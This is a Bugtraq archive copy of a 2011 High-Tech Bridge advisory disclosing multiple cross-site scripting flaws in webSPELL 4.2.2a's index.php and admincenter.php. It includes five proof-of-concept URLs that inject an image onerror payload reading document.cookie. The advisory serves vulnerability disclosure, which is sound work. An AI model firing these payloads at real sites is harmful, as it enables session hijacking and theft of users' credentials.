Bugtraq mailing list archives

HTB22932: Multiple XSS in webSPELL


From: advisory () htbridge ch
Date: Tue, 19 Apr 2011 10:22:18 +0200 (CEST)

Vulnerability ID: HTB22932
Reference: http://www.htbridge.ch/advisory/multiple_xss_in_webspell.html
Product: webSPELL
Vendor: http://www.webspell.org/ ( http://www.webspell.org/ ) 
Vulnerable Version: 4.2.2a
Vendor Notification: 05 April 2011 
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
The vulnerability exists due to failure in the "index.php" script to properly sanitize user-supplied input.
User can execute arbitrary JavaScript code within the vulnerable application.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based 
authentication credentials, disclosure or modification of sensitive data.

The following PoC is available:

[code]
http://[host]/index.php?site=newsletter&pass=1%22%3E%3Cimg%20src=1.png%20onerror=alert%28document.cookie%29%3E
http://[host]/index.php?site=messenger&action=touser&touser=1%22%3E%3Cimg%20src=1.png%20onerror=alert%28document.cookie%29%3E
[/code]

The vulnerability exists due to failure in the "/admin/admincenter.php" script to properly sanitize user-supplied input.
The following PoC is available:

[code]
http://[host]/admin/admincenter.php?site=users&action=addtoclan&id=1&page=1%22%3E%3Cimg%20src=1.png%20onerror=alert%28document.cookie%29%3E
http://[host]/admin/admincenter.php?site=squads&action=edit&squadID=1%22%3E%3Cimg%20src=1.png%20onerror=alert%28document.cookie%29%3E
http://[host]/admin/admincenter.php?site=contact&action=edit&contactID=1%22%3E%3Cimg%20src=1.png%20onerror=alert%28document.cookie%29%3E
[/code]



Current thread: